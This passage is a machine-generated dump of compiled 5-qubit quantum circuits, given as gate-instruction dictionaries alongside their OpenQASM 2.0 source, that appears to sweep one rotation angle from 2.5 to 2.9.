'\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1237', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1239', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1241', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1243', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': 